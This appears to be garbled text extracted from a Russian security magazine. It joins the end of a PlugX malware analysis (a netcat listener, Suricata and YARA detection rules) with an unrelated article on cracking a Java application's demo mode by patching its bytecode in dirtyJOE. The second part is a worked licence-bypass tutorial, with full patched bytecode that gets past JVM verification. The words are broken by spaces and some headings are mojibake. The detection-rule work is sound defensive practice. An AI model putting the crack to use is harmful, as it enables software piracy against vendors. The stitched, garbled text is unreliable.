сетевых дан ных по про токо лу TCP и UDP-дан ных).

nc

На вир туаль ной машине Kali Linux выпол ним коман ду 

и ждем дан ные от вре донос ного фай ла.

nc -lvnp 443

Дан ные, отправ ляемые на управля ющий сер вер

Ин форма ция, которую вре донос переда ет на управля ющий сер вер, показа на
на скрин шоте выше.

На дан ном эта пе мы разоб рали фун кци ональ ность иссле дуемо го модуля,
изу чили сетевое вза имо дей ствие с управля ющим сер вером. С исполь- 
зовани ем получен ных строк, харак терных для вре донос ного фай ла, и домена
управля юще го сер вера мы раз работа ем сиг натуры для поис ка ском про мети- 
рован ных компь юте ров.

ÑÎÇÄÀÍÈÅ ÑÈÃÍÀÒÓÐ

Для выяв ления деятель нос ти вре доно са в сети раз работа ем сетевую сиг- 
натуру. При реаги рова нии на инци дент, осо бен но ког да у нас отсутс тву ют
средс тва обна руже ния атак, необ ходимо иссле довать тра фик, что бы най ти
заражен ные компь юте ры. Мож но записать тра фик и отфиль тро вать его
по извес тным доменам и IP-адре сам, но я советую исполь зовать прог рам- 
мное обес печение с откры тым исходным кодом.

Для этих целей под ходит стек ELK (Elasticsearch + Kibana) и Suricata.
 — это бес плат ная плат форма IDS/IPS для монито рин га сетевой

безопас ности на осно ве Debian. Информа ция об уста нов ке и заг рузке пра вил
есть на . Для поис ка мал вари на ском про мети рован ных компь юте рах
мож но вос поль зовать ся YARA-движ ком.

SELKS

гит хабе

Ñîçäàíèå ñèãíàòóðû äëÿ Suricata IDS

Соз дадим  — пра вило для сиг нализа ции о сетевой активнос ти вре- 

донос ного фай ла.

alert

Hex-зна чение DNS-пакета

Пра вило будет выг лядеть так:

alert dns any any -> any 53 (msg:"MALWARE Observed DNS Query to 
Known malware PlugX www[.]dicemention[.]com domain"; sid: 1000001; 
classtype: "malware"; dns_query; content: "dicemention.com";  
reference:url,www.virustotal.com/gui/file/
d3bd436119af73a1e9a2ae5360ef38c81031f6f9f2b5f389416aaeafd902e3bd/
details;) 

Заг рузим это пра вило в SELKS и про тес тиру ем на записан ном тра фике.

Ре зуль тат работы сетево го пра вила для детек тирова ния вре донос ного
фай ла

На ше пра вило сра бота ло, и мы выяви ли активность мал вари на компь юте- 
ре 10.10.10.2. Сле дующим эта пом необ ходимо иссле довать заражен ный
компь ютер и обна ружить сам вре донос ный файл.

По ка что мы соз дали толь ко сетевую сиг натуру на вре донос ный домен,
но это го усло вия недос таточ но. Необ ходимо получить IP-адрес DNS-записи
и соз дать допол нитель ное пра вило на IP-адрес. При вза имо дей ствии
заражен ного компь юте ра с управля ющим сер вером запись DNS хра нит ся
в кеше, а вза имо дей ствие уста нав лива ется имен но по IP-адре су.

Ñîçäàíèå ïðàâèëà YARA

Пра вило YARA — это инс тру мент, поз воля ющий выяв лять образцы вре донос- 
ных прог рамм и находить их рас положе ние на ском про мети рован ных компь- 
юте рах. Сна чала соз дадим сиг натуру для исполня емо го фай ла, а затем
для динами чес кой биб лиоте ки, в которой рас положе на основная фун кци- 
ональ ность вре донос ного модуля.

До кумен тация по соз данию пра вил YARA пред став лена .здесь
При соз дании пра вил YARA нуж но обра щать вни мание на сле дующие объ- 

екты:
стро ки, харак терные для иссле дуемо го модуля или семей ства вре донос-
ных прог рамм;

•

мь ютек сы;•
клю чи реес тра;•
фай лы отла доч ной информа ции;•
под клю чаемые биб лиоте ки;•
оди нако вые учас тки кода, харак терные для семей ства вре донос ных прог- 
рамм.

•

INFO

Для авто мати зации соз дания пра вила на осно ве
фраг мента исполня емо го кода при годит ся полез- 
ный пла гин .mkYARA

За пус тим YARA Editor, перей дем на вклад ку Editor, заг рузим пус той файл
и нач нем писать сиг натуру.

 rule PlugX_downloader
{
 meta:
     maltype = "PlugX"
     description = "Search for a malicious downloader PlugX"
 strings:
    $dll="Goshawk.dll" nocase
   $str1="Goshawk v2.1"
                   $chunk_1 = {53 65 72 76 65 72 45 6e 74 72 79 46 75 6e 00}
 condition:
             uint16 (0) == 0x5A4D and $dll and $str1 and $chunk_1
}

В раз деле  содер жится опи сание раз работан ного пра вила. В раз деле
 находят ся стро ки, обна ружен ные в резуль тате иссле дова ния вре- 

донос ного фай ла. В перемен ной  — информа ция о заг ружа емой

динами чес кой биб лиоте ке,  — стро ка информа ции об исполня емом
фай ле. Перемен ная  содер жит шес тнад цатерич ное зна чение запус- 

каемой фун кции экспор та . В раз деле  опи сыва- 

ется усло вие поис ка ука зан ных строк в фай ле.

meta
strings

$dll
$str1

$chunk_1
ServerEntryFun condition

Для детек тирова ния вре донос ной биб лиоте ки мы напишем сле дующее
пра вило.

 rule PlugX_dll
{

 meta:
     maltype = "PlugX"
     description = "Search for a malicious dll PlugX"

 strings:
       $str1 = "WS2_32.dll" nocase // use library
       $str2 = "vtcp.dll" nocase // backdoor dll
      $str3 = "ServerEntryFun" // Function export
      $str4 = "Debug.log" // File Debug.log to record errors
 condition:
          uint16 (0) == 0x5A4D and all of them

}

В пра вило YARA для динами чес кой биб лиоте ки мы добави ли стро ки, содер- 
жащие информа цию о либе , которую мал варь исполь зует

для сетево го вза имо дей ствия, под гру жаемой биб лиоте ке , исполь- 

зуемой фун кции  и обна ружен ном нами фай ле .

ws2_32.dll
vtcp.dll

ServerEntryFun Debug.log
Про тес тиру ем раз работан ные сиг натуры. Для это го перехо дим ко вклад ке

test → Test items, нажима ем кноп ку  и выбира ем каталог, в котором рас- 

положе ны вре донос ные модули. Пос ле нажатия кноп ки  YARA
Editor начина ет искать фай лы по тес тиру емым сиг натурам.

Folder
Scan items

Тес тирова ние работос пособ ности пра вил YARA

На скрин шоте вид но, что в резуль тате ска ниро вания были обна руже ны вре- 
донос ные фай лы семей ства PlugX, содер жащие стро ки из наших YARA-пра- 
вил.

INFO

Для поис ка в фай ловой сис теме вре донос ных
фай лов на осно ве IOCs мож но исполь зовать ути- 
литу , в которую есть воз можность
добав лять пра вила YARA и хеш-сум мы модулей.

Loki Scanner

ÇÀÊËÞ×ÅÍÈÅ

Мы про вели ста тичес кий и поведен ческий ана лиз вре донос ного фай ла и соз- 
дали сиг натуры для детек тирова ния его модуля. С помощью соб ранной ранее
лабора тории мы смог ли быс тро иссле довать мал варь и раз работать собс- 
твен ные инди като ры ком про мета ции. Даль нейшие эта пы при рас сле дова нии
инци ден тов — обна ружить заражен ные компь юте ры, най ти точ ку вхо да зло- 
умыш ленни ков в сеть, а так же методы зак репле ния в сис теме и боково го
переме щения. Но эти шаги выходят за рам ки сегод няшней статьи.
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https://www.virustotal.com/gui/file/61c0e2fc400ec79b36172c7f80231ec36d7f9528b029002ab4120157e4fc5189
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ГРЯЗНЫЙ
ДЖО

ВЗЛАМЫВАЕМ JAVA-
ПРИЛОЖЕНИЯ
С ПОМОЩЬЮ

DIRTYJOE

МВК

ВЗЛОМ

Спо собы обхо да три ала в раз личных прог раммах — одна
из самых инте рес ных тем прик ладно го реверс-инжи нирин га,
и я уже не раз пос вящал ей . Нас тало вре мя вер- 
нуть ся к этой темати ке сно ва. Наш сегод няшний паци ент —
при ложе ние, выпол ненное в виде JAR-модуля, которое мы
иссле дуем без пол ного ревер са и перес борки про екта.

свои статьи

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

В замет ке «
» мы рас смат ривали прог рамму, реали зован ную в виде

локаль ного веб-интерфей са. Работа ет она так: под Windows запус кает ся
локаль ный сер вер Apache c набором PHP-модулей, а поль зователь вза имо- 
дей ству ет с при ложе нием через бра узер, в котором набира ет адрес

. Прог рамма, взло мом которой мы зай мем ся сегод ня, дей ству ет

похожим обра зом, толь ко написа на она на Java и пос тавля ется в виде фай ла
. Наша задача — оту чить при ложе ние от деморе жима.

В обход стра жи. Отла жива ем код на PHP, упа кован ный
SourceGuardian

localhost

.JAR
По счастью, нам извес тно, где лежат стар тующие в виде сер виса исполня- 

емые модули прог раммы в фор мате  и соот ветс тву ющий JAR-файл.

По сво ей сути JAR — это обыч ный ZIP-архив, в который упа кова ны час ти про- 
екта. Пос коль ку мы собира емся пра вить код, нас инте ресу ют модули 

, содер жащие откомпи лиро ван ный JVM-байт-код. Деком пилято ров

и спо собов их при мене ния мно жес тво, сущес тву ют даже инс тру мен ты вро де
JD-GUI, спо соб ные пол ностью вос ста новить про ект из исполня емо го фай ла.
Чаще все го взлом щики исполь зуют обще извес тный JAD, который из-за его
рас простра нен ности лов кие обфуска торы дав но научи лись обма нывать, что,
в свою оче редь, ста ло при чиной появ ления более прод винутых деком пилято- 
ров вро де CFR. Эта вой на щитов и мечей, пуль и бро нежи летов обе щает быть
дол гой, нам оста ется толь ко запас тись поп корном. Но не будем тут оста нав- 
ливать ся, а вмес то это го пред положим, что мы деком пилиро вали про ект
одним из опи сан ных спо собов до Java-исходни ков и даже про ана лизи рова ли
получен ный код.

.EXE

*.
CLASS

При мени тель но к нашему подопыт ному при ложе нию это выг лядело при- 
мер но так. Деком пилиро вав все-все-все CLASS-фай лы, мы так и не обна- 
ружи ли ничего похоже го на обра щение к лицен зии, одна ко в под катало ге

 нашего JAR-архи ва наш лось мно жес тво упа кован ных JAR-биб- 
лиотек, сре ди которых сра зу бро силась в гла за биб лиоте ка 

. Рас паковав и деком пилиро вав ее, мы нат кну лись на два CLASS-модуля,

содер жащих две любопыт ные фун кции. Одна воз вра щает демонс тра цион ный
режим, вто рая акти виру ет опцию 1 по умол чанию:

BOOT-INF/lib
license-1.2.12.

jar

   public boolean isDemo() {
  return this.getPublicDataHash().isEmpty();
}

   public void setDefault() {
   if (this.hasModule(1)) {
      Iterator iter = this.modulesItems.entrySet().iterator();
     while (iter.hasNext()) {

        Map.Entry item = iter.next();
         if ((Integer)item.getKey() == 1) continue;

     ((BaseModule)item.getValue()).close();
     iter.remove();
     this.onModuleUpdated((Integer)item.getKey());
   }
   } else {
   this.closeModules();
     if (!this.modulesConfig.containsKey(1)) {
     return;
   }
      BaseModule mod = this.getModule(1);
       if (mod != null) {
     mod.setEnabled(true);

      this.modulesItems.put(1, mod);
      log.info("Default module loaded {}", (Object)mod.getName());

     this.onModuleUpdated(1);
   }
 }
}

На ша задача — сде лать так, что бы фун кция  всег да воз вра щала ,
а в фун кции  нуж но заменить опцию  опци ей . Вот здесь

и начина ется самое инте рес ное, то, ради чего и написа на эта статья.

isDemo false
setDefault 1 256

Ты спро сишь: раз у нас име ются в наличии все исходни ки и код, то
почему бы прос то не переком пилиро вать весь про ект, поменяв эти две про- 
цеду ры на нуж ные? К сожале нию, пря мой метод не всег да самый прос той.
В нашем слу чае в инте ресу ющих нас модулях мно го зависи мос тей, а про ект
очень боль шой, мно гие модули силь но обфусци рова ны. Кро ме того, код вос- 
ста новил ся час тично с кучей оши бок, из-за чего про ект пол ностью
не соберет ся. Мож но, конеч но, покопать обфуска цию и поп робовать руками
вытащить исходный текст прог раммы, но решать эту (воз можно, даже, гораз- 
до более слож ную) задачу ради двух прос тых пат чей в коде как-то лень. Вдо- 
бавок перес борке про екта может помешать отсутс твие уста нов ленно го JDK
на компь юте ре. Уста нав ливать его и раз бирать ся в осо бен ностях ком пиляции
Java-про ектов мне тоже неохо та. Поэто му мы, как обыч но, ищем самый прос- 
той путь — патч откомпи лиро ван ного JVM-кода.

В этом нам поможет инте рес ная, но мало извес тная ути лита dirtyJOE.
Откры ваем в ней наш CLASS-модуль, на вклад ке Methods видим пол ный спи- 
сок методов клас са. Находим в нем иско мую  и тыка ем в нее, откры вая

окно редак тирова ния.

isDemo

Ок но редак тирова ния dirtyJOE

Это, конеч но, не исходник на Java, но здесь хотя бы мож но редак тировать
байт-код, све ряясь с логикой исходни ка. Воз можнос ти прог раммы минима- 
лис тичны: редак тировать мож но толь ко в виде hex-зна чений кодов инс трук-
ций. По счастью, мне мони ка и опи сание текущей исправ ленной инс трук ции
отоб ража ется в окош ке над окном кода, а сам спи сок инс трук ций с опи сани- 
ем каж дой име ется в хел пе (при чем толь ко спи сок, без опко дов: явно, что бы
хакерам жизнь медом не казалась и приш лось искать шес тнад цатерич ные
опко ды инс трук ций самос тоятель но). По сути, нам надо закоро тить дан ную
фун кцию, сде лав воз вра щаемым зна чени ем . Находим в таб лице

инс трук цию помеще ния  на стек ( ), ее опкод ( ) и ста вим ее
в самое начало метода, а пос ле нее — сра зу воз врат ( ).

0 (false)
0 iconst_0 3

ireturn

Ис прав ляем инс трук цию

Зак рыва ем окно редак тирова ния, сох раня ем CLASS-модуль, затем меня ем
исправ ленный модуль в архи ве , который, в свою оче- 
редь, копиру ем на мес то ста рого в основном JAR-модуле. С пред вку шени ем
переза пус каем прог рамму и обна ружи ваем, что она не работа ет. Мы что-то
сде лали не так.

license-1.2.12.jar

Для понима ния сути проб лемы надо искать логи прог раммы. По счастью,
любое Java-при ложе ние прак тичес ки всег да пишет свой сис темный лог, при- 
чем не один. В нашем слу чае в логе при сутс тву ет вот такая ошиб ка:

 

 

Caused by: java.lang.IllegalStateException: Unable to open nested entry 
'BOOT-INF/lib/license-1.2.12.jar'. It has been compressed and nested jar 
files must be stored without compression. Please check the mechanism 
used to create your executable jar file

Те перь все ясно: для успешно го чте ния биб лиоте ки Java тре бует ся файл
с нулевой ком прес сией. Оно и понят но — зачем сжи мать уже ком прес- 
сирован ный файл? Что ж, сох раня ем дан ную биб лиоте ку с нулевой ком прес-
сией, переза пус каем — сно ва неуда ча. Ошиб ка в жур нале на этот раз вооб- 
ще нев разуми тель ная, исхо дя из ее логики, сама биб лиоте ка 

 соб рана как-то неп равиль но. Без резуль тат но пома явшись некото рое

вре мя c раз ными архи вато рами, дела ем логич ное пред положе ние, что проб- 
лема кро ется в архи вато ре, которым мы собира ем файл биб лиоте ки. Ска- 
чива ем род ной сбор щик  из пакета JDK и про буем соб рать файл

с его помощью. В ито ге получа ем новую ошиб ку:

license-1.2.
12.jar

jar.exe

"C:\Program Files\Java\jdk-17.0.1\bin\jar.exe" -u -f license-1.2.12.
jar com\license\service\LicenseHandler.class

Продолжение статьи →
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java.util.zip.ZipException: duplicate entry: META-
INF/maven/org.slf4j/slf4j-api/pom.properties 
at 
java.base/java.util.zip.ZipOutputStream.putNextEntry(ZipOutputStream.jav
a:241) 
at 
java.base/java.util.jar.JarOutputStream.putNextEntry(JarOutputStream.jav
a:115) 
at jdk.jartool/sun.tools.jar.Main.update(Main.java:961) 
at jdk.jartool/sun.tools.jar.Main.run(Main.java:338) 
at jdk.jartool/sun.tools.jar.Main.main(Main.java:1665)

Вне зап ная проб лема воз никла на ров ном мес те: казалось бы, прос тей шую
опе рацию сбор ки фай лов в один архив не может про делать кор рек тно
ни один вин довый архи ватор, вклю чая род ной сбор щик JAR. Раз гадка прос та:
архи вато ры работа ют с модуля ми как с обыч ными фай лами, у которых регис- 
тро неза виси мые име на. А име на Java-клас сов впол не себе регис тро зави- 
симые, и хит рые обфуска торы дав но про сек ли эту лазей ку, пере име новы вая
модули. В ито ге про ект содер жит мно жес тво клас сов, отли чающих ся толь ко
регис тром одной или более букв в наз вании. По счастью, дан ная проб лема
отсутс тву ет у раритет ных кон соль ных архи вато ров вро де ZIP или PKZIP,
которые в режиме update могут обновлять JAR-модули с регис тро зави симы- 
ми име нами. Итак, находим PKZIP, заменя ем модуль через него, запус каем —
и сно ва неуда ча! На этот раз ошиб ка в логе выг лядит при мер но так:

 

 

 
 

 
 

 
 

 

Constructor threw exception; nested exception is java.lang.VerifyError: 
Expecting a stack map frame
Exception Details:
Location:
com/license/service/type/LicenseData.isDemo()Z @2: nop
Reason:
Error exists in the bytecode
Bytecode:
0x0000000: 03ac 0015 b600 16ac

В чем смысл дан ной ошиб ки? Что бы понять это, нем ного углу бим ся в теорию.
Как извес тно, Java, так же как и .NET, для опти миза ции работы не прос то
интер пре тиру ет свой байт-код, а ком пилиру ет его в натив во вре мя выпол- 
нения. Этот про цесс называ ется ком пиляци ей just in time, или JIT, в 

 я рас ска зывал о нем при мени тель но к дот нету.
Начиная с 7-й вер сии Java вве ла более стро гую про вер ку и нем ного изме- 
нила фор мат клас са — что бы содер жать кар ту сте ка, исполь зуемую для про- 
вер ки пра виль нос ти кода. Дан ная ошиб ка воз ника ет при ком пиляции
байт-кода метода : пер вые две инс трук ции, которые мы испра вили,

ком пилиру ются успешно, а вот сле дующая за ними по сме щению 2 от начала
метода (  или опкод ) вызыва ет ошиб ку верифи кации, пос коль ку у нее нет
допус тимой соот ветс тву ющей кар ты сте ка.

од ной
из сво их пре дыду щих ста тей

isDemo

nop 0

По идее, в качес тве обходно го пути мож но было бы добавить 

в аргу мен ты JVM, что бы отклю чить про вер ку. В Java 7 так же 

 поз воляла исполь зовать менее стро гий метод про вер ки,
но эта опция была уда лена в Java 8. Разуме ется, это не наш метод, ведь мы
хотим получить пос ле пат ча работос пособ ный код безо вся ких кос тылей, тем
более наша задача, как я уже говорил, стар тует в качес тве служ бы. Поп робу- 
ем разоб рать ся, как про исхо дит верифи кация.

-noverify
-XX:-

usesplitverifier

Ком пилятор раз бива ет байт-код метода на учас тки по опе раци ям вет вле- 
ния. Кон троль ные точ ки находят ся или сра зу за опе рато рами безус ловных
перехо дов (воз вра тов и про чих тупико вых веток кода), или в мес тах,
на которые есть перехо ды. В этих точ ках кон тро лиру ется сос тояние сте ка.
Пос коль ку логика метода  нас толь ко линей на, что для ее верифи кации
ком пилятор даже не стал заводить кар ту сте ка, то для при мера возь мем дру- 
гую про цеду ру, которую нам тре бует ся поп равить, — . Код ее пос- 

ле ком пиляции в JVM коман ды выг лядит вот так:

isDemo

setDefault

0: aload_0 
 1: iconst_1 
 2: invokevirtual #51        // Method hasModule:(I)Z
 5: ifeq          101 
 8: aload_0 
 9: getfield      #4         // Field modulesItems:Ljava/util/

concurrent/ConcurrentMap;
12: invokeinterface #20,  1  // InterfaceMethod java/util/

concurrent/ConcurrentMap.entrySet:()Ljava/util/Set;
17: invokeinterface #21,  1  // InterfaceMethod java/util/Set.

iterator:()Ljava/util/Iterator;
22: astore_1 
23: aload_1                  // Первая контрольная точка: начало 

цикла, пункт назначения безусловного перехода из #58, #95, стек 
пуст, локальная переменная iter класса iterator
24: invokeinterface #22,  1  // InterfaceMethod java/util/Iterator.

hasNext:()Z
29: ifeq          98 
32: aload_1 
33: invokeinterface #23,  1  // InterfaceMethod java/util/Iterator.

next:()Ljava/lang/Object;
38: checkcast     #24        // class java/util/Map$Entry
41: astore_2 
42: aload_2 
43: invokeinterface #46,  1  // InterfaceMethod java/util/Map$Entry.

getKey:()Ljava/lang/Object;
48: checkcast     #47        // class java/lang/Integer
51: invokevirtual #48        // Method java/lang/Integer.intValue:()

I
54: iconst_1 
55: if_icmpne     61 
58: goto          23 
61: aload_2                  // Вторая контрольная точка: сюда есть 

условный переход из #55, стек пуст, дополнительно к предыдущей 
локальная переменная Map.Entry item
62: invokeinterface #25,  1  // InterfaceMethod java/util/Map$Entry.

getValue:()Ljava/lang/Object;
67: checkcast     #8         // class com/license/modules/BaseModule
70: invokevirtual #44        // Method com/license/modules/

BaseModule.close:()V
73: aload_1 
74: invokeinterface #45,  1  // InterfaceMethod java/util/Iterator.

remove:()V
79: aload_0 
80: aload_2 
81: invokeinterface #46,  1  // InterfaceMethod java/util/Map$Entry.

getKey:()Ljava/lang/Object;
86: checkcast     #47        // class java/lang/Integer
89: invokevirtual #48        // Method java/lang/Integer.intValue:()

I
92: invokespecial #49        // Method onModuleUpdated:(I)V
95: goto          23 
98: goto          171        // Третья контрольная точка: мало того 

что следует за глухим безусловным переходом, вдобавок есть условный 
переход из #29, стек пуст, локальные переменные отсутствуют
101: aload_0                  // Четвертая контрольная точка: 
следует за глухим безусловным переходом, конец цикла #5, стек пуст, 
локальные переменные те же
102: invokespecial #52        // Method closeModules:()V
105: aload_0 
106: getfield      #7         // Field modulesConfig:Ljava/util/Map;
109: iconst_1 
110: invokestatic  #10        // Method java/lang/Integer.valueOf:(I)
Ljava/lang/Integer;
113: invokeinterface #27,  2  // InterfaceMethod java/util/Map.
containsKey:(Ljava/lang/Object;)Z
118: ifne          122 
121: return
122: aload_0                  // Пятая контрольная точка: сюда 
условный переход из #118, стек пуст, локальные переменные те же
123: iconst_1 
124: invokespecial #53        // Method getModule:(I)Lcom/license/
modules/BaseModule;
127: astore_1 
128: aload_1 
129: ifnull        171 
132: aload_1 
133: iconst_1 
134: invokevirtual #54        // Method com/license/modules/
BaseModule.setEnabled:(Z)V
137: aload_0 
138: getfield      #4         // Field modulesItems:Ljava/util/
concurrent/ConcurrentMap;
141: iconst_1 
142: invokestatic  #10        // Method java/lang/Integer.valueOf:(I)
Ljava/lang/Integer;
145: aload_1 
146: invokeinterface #55,  3  // InterfaceMethod java/util/
concurrent/ConcurrentMap.put:(Ljava/lang/Object;Ljava/lang/Object;)
Ljava/lang/Object;
151: pop 
152: getstatic     #31        // Field log:Lorg/slf4j/Logger;
155: ldc           #56        // String Default module loaded {}
157: aload_1 
158: invokevirtual #57        // Method com/license/modules/
BaseModule.getName:()Ljava/lang/String;
161: invokeinterface #58,  3  // InterfaceMethod org/slf4j/Logger.
info:(Ljava/lang/String;Ljava/lang/Object;)V
166: aload_0 
167: iconst_1 
168: invokespecial #49        // Method onModuleUpdated:(I)V
171: return                   // Последняя контрольная точка: сюда 
условный переход из #129, стек пуст, локальные переменные те же

Те перь рас смот рим кар ту сте ка, которую ком пилятор сге нери ровал для дан- 
ной про цеду ры. К сожале нию, dirtyJOE дос таточ но ста рый и сырой инс тру- 
мент, что бы пра вить или хотя бы отоб ражать кар ту сте ка. Мак симум, что он
может показать, — это ее наличие в виде атри бута метода .

Поэто му для прос мотра кар ты сте ка вос поль зуем ся стан дар тной ути литой
javap из пакета JDK:

StackMapTable

"C:\Program Files\Java\jdk-17.0.1\bin\javap.exe" -v LicenseModules.
class

 

 

 

 

 

 

 

 

 

 

 

 

 

StackMapTable: number_of_entries = 6    <----- Шесть фреймов всего
frame_type = 252 /* append */                 <----- Первая точка, тип 
append означает, что фрейм имеет те же локальные переменные, что и 
предыдущий (которого у нас нет, так как фрейм первый), за исключением 
того, что определены k дополнительных локальных переменных и что стек 
операндов пуст. Значение k определяется формулой frame_type – 251 = 252 
– 251 = 1, локальная переменная
offset_delta = 23                                <----- Смещение от 
начала модуля
locals = [ class java/util/Iterator ]       <----- Тип локальной 
переменной
frame_type = 252 /* append */            <---- То же самое, что и 
предыдущий, но добавилась локальная переменная 252 – 251 = 1
offset_delta = 37                                <----- Смещение от 
предыдущего фрейма, то есть 24 + 37 = 61
locals = [ class java/util/Map$Entry ]  <----- Тип новой локальной 
переменной
frame_type = 249 /* chop */                  <---- Такой тип фрейма 
имеет те же локальные переменные, что и предыдущий фрейм, за исключением 
того, что отсутствуют последние k локальных переменных и что стек 
операндов пуст. Значение k определяется формулой 251 – frame_type = 251 
– 249 = 2, две локальные переменные убираются
offset_delta = 36                                  <----- Смещение от 
предыдущего фрейма, то есть 62 + 36 = 98
frame_type = 2 /* same */                     <----- Этот тип фрейма 
указывает, что фрейм имеет точно такие же локальные переменные, что и 
предыдущий фрейм, и что стек операндов пуст. Смещение определяется 
типом, то есть 99 + 2 = 101
frame_type = 20 /* same */                   <----- То же, что и 
предыдущий, смещение 102 + 20 = 122
frame_type = 48 /* same */                   <----- То же, что и 
предыдущий, смещение 123 + 48 = 171

Итак, я наде юсь, мне уда лось донес ти в этом при мере логику работы верифи- 
като ра через stack map. Что нам это дает на прак тике? Во-пер вых, ста новит ся
понят но, почему не работа ет наш пер воначаль ный патч : исходный код

был линей ным и никакой верифи кации через фрей мы сте ка ему не тре бова-
лось, а наша прав ка мало того, что добави ла кон троль ную точ ку (сле дующий
байт за глу хим ), так еще и сде лала хвост метода безум ным для ком- 

пилято ра. Пос коль ку спо соба быс тро и прос то уко ротить раз мер кода метода
через dirtyJOE нет, то самый прос той метод добить ся успешно го про хож- 
дения нашим кодом верифи кации — забить все тело nop’ами и толь ко в кон- 
це оста вить :

isDemo

ireturn

return false

00000000 : nop 
00000001 : nop 
00000002 : nop 
00000003 : nop 
00000003 : nop 
00000005 : iconst_0 
00000006 : ireturn 

Во обще говоря, стра тегия пат ча в дан ном слу чае — сле дить за кон троль ными
точ ками фрей мов сте ка и при прав ке кода ста рать ся не выходить за их пре- 
делы или хотя бы сле дить, что бы клас сы локаль ных перемен ных и зна чений
на сте ке пос ле прав ки соот ветс тво вали друг дру гу. Мож но, конеч но,
при желании пра вить и сами атри буты  в шес тнад цатерич ном

редак торе, но этот край ний слу чай мы оста вим для дру гой статьи. Чуть
не забыл напом нить, что при слож ной прав ке сто ит учи тывать верифи кацию
области видимос ти локаль ных перемен ных (атри бут )

и бло ков обра бот ки исклю чений (окно Exceptions). По счастью, редак тирова- 
ние этих парамет ров дос таточ но эле мен тарно и под держи вает ся в dirtyJOE.

StackMapTable

localVariableTable

Ре дак тирова ние парамет ров в dirtyJOE

Мо жет показать ся, что учесть все выше опи сан ные тре бова ния — чудовищ но
слож ная задача, осо бен но ког да метод исполь зует весь ма раз вет влен ную
логику, а прав ки уве личи вают раз мер кода. Тем не менее это толь ко на пер- 
вый взгляд: при дос таточ ной сно ров ке впол не реаль но най ти необя затель ные
мес та в коде, бла года ря опти миза ции которых мож но рас ширить нуж ные. Я
спе циаль но выб рал такой метод ( ), в котором за счет раз ницы

в дли нах команд (коман да  занима ет один байт, а коман да

для замены  — целых три) код сущес твен но удли няет ся. Тем
не менее, имея пред став ление о прин ципах верифи кации, даже в этом слу чае
дос таточ но быс тро мож но смас терить хоть и не иде аль ный, но впол не
рабочий патч, кор рек тно про ходя щий верифи кацию и откры вающий нуж ный
режим в прог рамме:

setDefault
iconst_1

sipush 256

00000000  2A  aload_0 
00000001  04  iconst_1 

int
00000002  B6 00 33  invokevirtual       boolean com.license.modules.
LicenseModules.hasModule( )
00000005  99 00 60  ifeq                pos.00000065 
00000008  2A  aload_0 
00000009  B4 00 04  getfield            java.util.concurrent.
ConcurrentMap com.license.modules.LicenseModules.modulesItems 

, 1 
0000000C  B9 00 14 01 00  invokeinterface     java.util.Set java.
util.concurrent.ConcurrentMap.entrySet()

, 1 
00000011  B9 00 15 01 00  invokeinterface     java.util.Iterator 
java.util.Set.iterator()
00000016  4C  astore_1 
00000017  2B  aload_1 

, 1 
00000018  B9 00 16 01 00  invokeinterface     boolean java.util.
Iterator.hasNext()
0000001D  99 00 45  ifeq                pos.00000062 
00000020  2B  aload_1 

, 1 
00000021  B9 00 17 01 00  invokeinterface     java.lang.Object java.
util.Iterator.next()
00000026  C0 00 18  checkcast           java.util.Map$Entry
00000029  4D  astore_2 
0000002A  2C  aload_2 

, 1 
0000002B  B9 00 2E 01 00  invokeinterface     java.lang.Object java.
util.Map$Entry.getKey()
00000030  C0 00 2F  checkcast           java.lang.Integer 
00000033  B6 00 30  invokevirtual       int java.lang.Integer.
intValue()
00000036  04  iconst_1 
00000037  A0 00 06  if_icmpne           pos.0000003D 
0000003A  A7 FF DD  goto                pos.00000017 
0000003D  2C  aload_2 

, 1 
0000003E  B9 00 19 01 00  invokeinterface     java.lang.Object java.
util.Map$Entry.getValue()
00000043  C0 00 08  checkcast           com.license.modules.
BaseModule 
00000046  B6 00 2C  invokevirtual       void com.license.modules.
BaseModule.close()
00000049  2B  aload_1 

, 1 
0000004A  B9 00 2D 01 00  invokeinterface     void java.util.
Iterator.remove()
0000004F  2A  aload_0 
00000050  2C  aload_2 

, 1 
00000051  B9 00 2E 01 00  invokeinterface     java.lang.Object java.
util.Map$Entry.getKey()
00000056  C0 00 2F  checkcast           java.lang.Integer 
00000059  B6 00 30  invokevirtual       int java.lang.Integer.
intValue()

int
0000005C  B7 00 31  invokespecial       void com.license.modules.
LicenseModules.onModuleUpdated( )
0000005F  A7 FF B8  goto                pos.00000017 
00000062  A7 00 49  goto                pos.000000AB 
00000065  2A  aload_0 
00000066  B7 00 34  invokespecial       void com.license.modules.
LicenseModules.closeModules()
00000069  2A  aload_0 
0000006A  B4 00 07  getfield            java.util.Map com.license.
modules.LicenseModules.modulesConfig 
0000006D  04  iconst_1 

int
0000006E  B8 00 0A  invokestatic        java.lang.Integer java.lang.
Integer.valueOf( )

, 2 
00000071  B9 00 1B 02 00  invokeinterface     boolean java.util.Map.
containsKey(java.lang.Object)
00000076  9A 00 04  ifne                pos.0000007A 
00000079  B1  return
0000007A  2A  aload_0 
0000007B  11 01 00  sipush              256 

int
0000007E  B7 00 35  invokespecial       com.license.modules.
BaseModule com.license.modules.LicenseModules.getModule( )
00000081  4C  astore_1 
00000082  00  nop 
00000083  00  nop 
00000084  2B  aload_1 
00000085  04  iconst_1 
00000086  B6 00 36  invokevirtual       void com.license.modules.
BaseModule.setEnabled(boolean)
00000089  2A  aload_0 
0000008A  B4 00 04  getfield            java.util.concurrent.
ConcurrentMap com.license.modules.LicenseModules.modulesItems 
0000008D  11 01 00  sipush              256 

int
00000090  B8 00 0A  invokestatic        java.lang.Integer java.lang.
Integer.valueOf( )
00000093  2B  aload_1 

, 3 

00000094  B9 00 37 03 00  invokeinterface     java.lang.Object java.
util.concurrent.ConcurrentMap.put(java.lang.Object, java.lang.Object)

00000099  57  pop 
0000009A  2A  aload_0 
0000009B  11 01 00  sipush              256 
0000009E  00  nop 

int
0000009F  B7 00 31  invokespecial       void com.license.modules.
LicenseModules.onModuleUpdated( )
000000A2  00  nop 
000000A3  00  nop 
000000A4  00  nop 
000000A5  00  nop 
000000A6  00  nop 
000000A7  00  nop 
000000A8  00  nop 
000000A9  00  nop 
000000AA  00  nop 
000000AB  B1  return

